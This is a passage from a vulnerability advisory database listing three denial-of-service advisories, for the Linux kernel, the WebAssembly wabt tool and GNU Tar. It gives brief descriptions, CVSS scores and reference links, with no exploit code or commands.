  "details": "The Linux kernel before 2.6.37 does not properly implement a certain clock-update optimization, which allows local users to cause a denial of service (system hang) via an application that executes code in a loop.",
  "id": "GHSA-pm23-x64q-p9f3",
  "modified": "2022-05-13T01:25:04Z",
  "published": "2022-05-13T01:25:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4621"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/f26f9aff6aaf67e9a430d16c266f91b13a5bff64"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=769711"
    },
    {
      "type": "WEB",
      "url": "http://ftp.osuosl.org/pub/linux/kernel/v2.6/ChangeLog-2.6.37"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=f26f9aff6aaf67e9a430d16c266f91b13a5bff64"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=f26f9aff6aaf67e9a430d16c266f91b13a5bff64"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2011/12/21/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PM5M-2P5C-6MV8

Vulnerability from github – Published: 2023-05-03 21:30 – Updated: 2024-04-04 03:47
VLAI
Details

An issue in the component hang.wasm of WebAssembly 1.0 causes an infinite loop.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-30300"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-03T20:15:10Z",
    "severity": "MODERATE"
  },
  "details": "An issue in the component hang.wasm of WebAssembly 1.0 causes an infinite loop.",
  "id": "GHSA-pm5m-2p5c-6mv8",
  "modified": "2024-04-04T03:47:18Z",
  "published": "2023-05-03T21:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30300"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WebAssembly/wabt/issues/2180"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/OSFFCKXUQ5PAC5UVXY7N6HEHVQ3AC2RG"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OSFFCKXUQ5PAC5UVXY7N6HEHVQ3AC2RG"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PM5X-48PQ-67CQ

Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2022-05-13 01:04
VLAI
Details

GNU Tar through 1.30, when --sparse is used, mishandles file shrinkage during read access, which allows local users to cause a denial of service (infinite read loop in sparse_dump_region in sparse.c) by modifying a file that is supposed to be archived by a different user's process (e.g., a system backup running as root).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-20482"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-12-26T18:29:00Z",
    "severity": "MODERATE"
  },
  "details": "GNU Tar through 1.30, when --sparse is used, mishandles file shrinkage during read access, which allows local users to cause a denial of service (infinite read loop in sparse_dump_region in sparse.c) by modifying a file that is supposed to be archived by a different user\u0027s process (e.g., a system backup running as root).",
  "id": "GHSA-pm5x-48pq-67cq",
  "modified": "2022-05-13T01:04:46Z",
  "published": "2022-05-13T01:04:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20482"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/12/msg00023.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/11/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "https://news.ycombinator.com/item?id=18745431"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201903-05"
    },
    {
      "type": "WEB",
      "url": "https://twitter.com/thatcks/status/1076166645708668928"
    },
    {
      "type": "WEB",
      "url": "https://utcc.utoronto.ca/~cks/space/blog/sysadmin/TarFindingTruncateBug"
    },
    {
      "type": "WEB",
      "url": "http://git.savannah.gnu.org/cgit/tar.git/commit/?id=c15c42ccd1e2377945fd0414eca1a49294bff454"
    },
    {
      "type": "WEB",
      "url": "http://lists.gnu.org/archive/html/bug-tar/2018-12/msg00023.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00077.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106354"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.